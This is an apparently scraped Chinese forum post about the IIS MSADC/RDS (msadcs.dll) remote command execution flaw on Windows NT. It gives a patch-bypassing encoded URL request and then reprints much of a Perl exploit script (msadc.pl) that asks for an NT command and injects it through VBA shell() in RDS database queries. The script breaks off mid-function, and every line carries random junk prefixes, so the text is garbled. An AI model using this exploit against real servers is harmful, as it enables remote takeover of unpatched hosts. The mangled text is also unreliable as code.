IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Hzos$1DJ HI+87f_Q 涉及程序:
bD*z"e Microsoft NT server
TF0DQP P?QVT;] 描述:
H~fX>6> 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
mC-'z h7 uv0a~0 详细:
G'>?/l# 如果你没有时间读详细内容的话,就删除:
~lg1S c:\Program Files\Common Files\System\Msadc\msadcs.dll
<<Zt.!hS 有关的安全问题就没有了。
J2tD).G ^5BLuN6 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
o*\cV6 'VH%cz* 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
mn5mdrv3WZ 关于利用ODBC远程漏洞的描述,请参看:
0W}iKT[Z Y@&1[Z http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {R5{v6m_ s>d /9 b 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
X9:4oMux7 http://www.microsoft.com/security/bulletins/MS99-025faq.asp g7>p, 8Xo`S<8VS 这里不再论述。
1w30Vj2<
Z.!tp 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
,ypD0Q 4VPJv>^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Y$tgz) 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
+A3Q$1F [xaglZ9HNo g)o?nAr #将下面这段保存为txt文件,然后: "perl -x 文件名"
,B^NH7A: hU3z4|~+ #!perl
K@0gBgN #
G"_ 8`l # MSADC/RDS 'usage' (aka exploit) script
P:`tL)W_ #
e+_~a8 -| # by rain.forest.puppy
^F}HWpF_ #
FNQR sNi # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~c;D@.e\ # beta test and find errors!
NTj: +z0 ,7wxVR%Ys use Socket; use Getopt::Std;
KN41kkN getopts("e:vd:h:XR", \%args);
T*m;G( O-5s}RT print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^N{Lau +x?_\?&Ks if (!defined $args{h} && !defined $args{R}) {
_b ~XBn print qq~
7mUpn:U Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZD)pdNX -h <host> = host you want to scan (ip or domain)
/Dh[lgF0C -d <seconds> = delay between calls, default 1 second
n_8wYiBs( -X = dump Index Server path table, if available
$
N7J:Q -v = verbose
rSGt`#E-s. -e = external dictionary file for step 5
GQU9UXe /.?m9O^
F Or a -R will resume a command session
;p$KM-?2D $}9.4`F> ~; exit;}
Y~R['u, tks3xS $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
g%Yw Dr=0t if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=K#12TRf if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
9)_fH6r if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
=|@%5&.P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
)2 Omsh if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^5"2s:vP n$z}DE5 # if (!defined $args{R}){ $ret = &has_msadc;
C>1fL6ct die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&n5Lc` {nl]F print "Please type the NT commandline you want to run (cmd /c assumed):\n"
81(.{Y839_ . "cmd /c ";
=Wb!j18] $in=<STDIN>; chomp $in;
d|nJp-%V $command="cmd /c " . $in ;
?O]iX;2vM _t9@
vVQ if (defined $args{R}) {&load; exit;}
{95z\UE} )v4?+$g print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
4V$DV!dPQ} &try_btcustmr;
a0s6G3J+9 `2 vv8cg^ print "\nStep 2: Trying to make our own DSN...";
_A8x{[$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
wUd6xR EQ;,b4k?&g print "\nStep 3: Trying known DSNs...";
01UEd8 &known_dsn;
d=q&UCC Wq4>!| print "\nStep 4: Trying known .mdbs...";
(|(#W+l~
&known_mdb;
)^G&p[G s'4S, if (defined $args{e}){
4bT21J37 print "\nStep 5: Trying dictionary of DSN names...";
(l|:$%[0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ywPFL/@ OS
X5S:XS print "Sorry Charley...maybe next time?\n";
v|VfSLZTb exit;
xB%Felz Rh:@@4< ##############################################################################
B %|cp+/ 8T}Ycm5} sub sendraw { # ripped and modded from whisker
M.h)]S> sleep($delay); # it's a DoS on the server! At least on mine...
qre.^6x my ($pstr)=@_;
H;&^A5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>
xc7Hr~ die("Socket problems\n");
_N.N?> if(connect(S,pack "SnA4x8",2,80,$target)){
0st)/\ select(S); $|=1;
(TQx3DGq print $pstr; my @in=<S>;
**zh>Y}6 select(STDOUT); close(S);
kF09t5Lr return @in;
D@M
ZTb } else { die("Can't connect...\n"); }}
Anpx%NVo ~AD%aHR ##############################################################################
F?+K~['i w(sD}YA) sub make_header { # make the HTTP request
L5E|1T my $msadc=<<EOT
1T{A(<:o$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
U1+X!&OCp User-Agent: ACTIVEDATA
Bf&,ACOf Host: $ip
WVP^C71 Content-Length: $clen
gC}r$ZB( Connection: Keep-Alive
M]S&vE{D %&c+}m ADCClientVersion:01.06
7TTU&7l~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
CC(At.dd xB1Oh+@i --!ADM!ROX!YOUR!WORLD!
b*-g@S Content-Type: application/x-varg
\2F$FRWo Content-Length: $reqlen
6[-N}) s|Hrb_[;l EOT
ews4qP ; $msadc=~s/\n/\r\n/g;
1gq(s2izy return $msadc;}
^|z 4FmT.P ##############################################################################
(6xrs_ea 1LgzqRq sub make_req { # make the RDS request
ZfzUvN&! my ($switch, $p1, $p2)=@_;
R:=
%gl! my $req=""; my $t1, $t2, $query, $dsn;
g3p*OYf 1:3I G= if ($switch==1){ # this is the btcustmr.mdb query
<f
l-P $query="Select * from Customers where City=" . make_shell();
DP rFB y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
|<,!K;@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
MKad
5gD*< @"`J~uK elsif ($switch==2){ # this is general make table query
%;SOe9 $query="create table AZZ (B int, C varchar(10))";
G~oGBq6Gz $dsn="$p1";}
MroJ!.9 z|VQp,ra elsif ($switch==3){ # this is general exploit table query
ryd*Ha">I $query="select * from AZZ where C=" . make_shell();
{x3"/sF $dsn="$p1";}
V!eq)L @`qhQ elsif ($switch==4){ # attempt to hork file info from index server
xt! DS0|*Y $query="select path from scope()";
<2cl1Fb $dsn="Provider=MSIDXS;";}
&cty&(2p -t92! O elsif ($switch==5){ # bad query
&_q&TEi $query="select";
'USol< $dsn="$p1";}
hOI|#(- &